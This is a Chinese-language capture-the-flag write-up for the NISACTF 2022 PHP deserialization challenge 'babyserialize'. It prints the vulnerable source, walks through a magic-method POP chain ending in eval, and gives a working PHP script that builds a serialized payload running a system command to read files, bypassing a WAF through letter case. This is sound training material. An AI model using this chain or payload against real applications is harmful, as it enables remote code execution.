[NISACTF 2022]babyserialize

[NISACTF 2022]babyserialize wp

题目代码:

复制代码
 <?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>

首先回顾一下 php 全部魔术方法及其触发条件

复制代码
__construct()-- 在创建对象时调用,用于初始化对象的属性和方法。
__destruct() -- 在对象销毁时调用,用于释放资源和清理操作。
__call(args) -- 在调用一个不存在的方法时触发。
__callStatic(args) -- 在调用一个不存在的静态方法时触发。
__get($name) -- 在访问一个不存在的属性时触发。
__set(value) -- 在给一个不存在的属性赋值时触发。给私有属性,受保护属性赋值也能触发。
__isset($name) -- 在判断一个不存在的属性是否存在时触发。
__unset($name) -- 在销毁一个不存在的属性时触发。
__sleep() -- 在序列化一个对象时触发。
__wakeup() -- 在反序列化一个对象时触发。
__toString() -- 在将对象转换为字符串时触发。echo,print,die,strtolower等函数触发,还有弱比较 == 也能触发。
__invoke($args) -- 在将对象作为函数调用时触发。
__set_state($properties) -- 在使用var_export()导出类时触发。
__clone() -- 在将对象复制时触发。
__debugInfo() -- 在使用var_dump()函数打印对象时触发。

获取提示信息

直接传入一个序列化的 NISA 类的对象就可以触发,提示 flag 在根目录下。

根据这些,构造本题的 pop 链:

首先,eval 函数在 NISA 类的 __invoke() 方法中。

NISA 类的 __invoke() 方法在 Ilovetxw 类的 __toString() 方法中可以触发。只需要将 $bb() 赋值为 NISA 类的对象。

Ilovetxw 类的 __toString() 方法在 four 类的 __set 方法中可以触发。strtolower 函数在处理对象时会触发该对象的 __toString() 魔术方法,那么只需要将 $this->a 赋值为 Ilovetxw 类的对象。

four 类的 __set 方法在 Ilovetxw 类的 __call 方法中可以触发。将 $this->huang 赋值为 four 类的对象,那么 $this->huang->fun 将访问 four 类的私有属性 fun ,就会触发 __set 方法。

Ilovetxw 类的 __call 方法在 TianXiWei 类的 __wakeup() 方法中可以触发。只需将 $this->ext 赋值为 Ilovetxw 类的对象,那么 $this->ext->nisa($this->x) 就会访问对象中不存在的方法 nisa

最后,TianXiWei 类的 __wakeup() 方法在反序列化时触发。

由此,构造出以下代码:

复制代码
<?php
class NISA{
    public $fun = 'a';
    public $txw4ever = 'SYSTEM(tac /*)';
}

class TianXiWei{
    public $ext;
    public $x;
}

class Ilovetxw{
    public $huang;
    public $su;
}

class four{
    public $a;
    private $fun;
}

$demo = new TianXiWei;
$demo->ext = new Ilovetxw;
//$demo->x = "sixsixsix";
$demo->ext->huang = new four;
$demo->ext->huang->a = new Ilovetxw;
$demo->ext->huang->a->su = new NISA;
echo serialize($demo);

本题中,four 类的 __set 方法中的判断:if ($this->fun = "sixsixsix") 由于用的是一个等号,为赋值,故该表达式恒为真,所以没必要赋值 $demo->x = "sixsixsix";

NISA 类的 $fun 属性的值要改一下,避免触发提示。

本题中存在防火墙 waf.php ,用大小写绕过就好了。

相关推荐
unable code1 小时前
攻防世界-Web-unseping
网络安全·web·ctf
lifejump3 小时前
文章管理系统CMS的XSS注入渗透测试(白盒)
前端·web安全·xss·安全性测试
Cyyyy_g3 小时前
大米CMS支付漏洞复现报告
网络安全
JaguarJack3 小时前
PHP "真异步" TrueAsync SAPI 与 NGINX Unit 集成
后端·php
晓风残月淡7 小时前
JVM字节码与类的加载(二):类加载器
jvm·python·php
不像程序员的程序媛12 小时前
网络安全概念之网闸&防火墙AI版
安全·web安全
Le_ee14 小时前
Apache2
服务器·网络安全·apache·web
Wx-bishekaifayuan15 小时前
基于微信小程序的社区图书共享平台设计与实现 计算机毕业设计源码44991
javascript·vue.js·windows·mysql·pycharm·tomcat·php
小张的博客之旅17 小时前
2025年“羊城杯”网络安全大赛 线上初赛 (WriteUp)
python·学习·网络安全
unable code17 小时前
攻防世界-Web-shrine
网络安全·web·ctf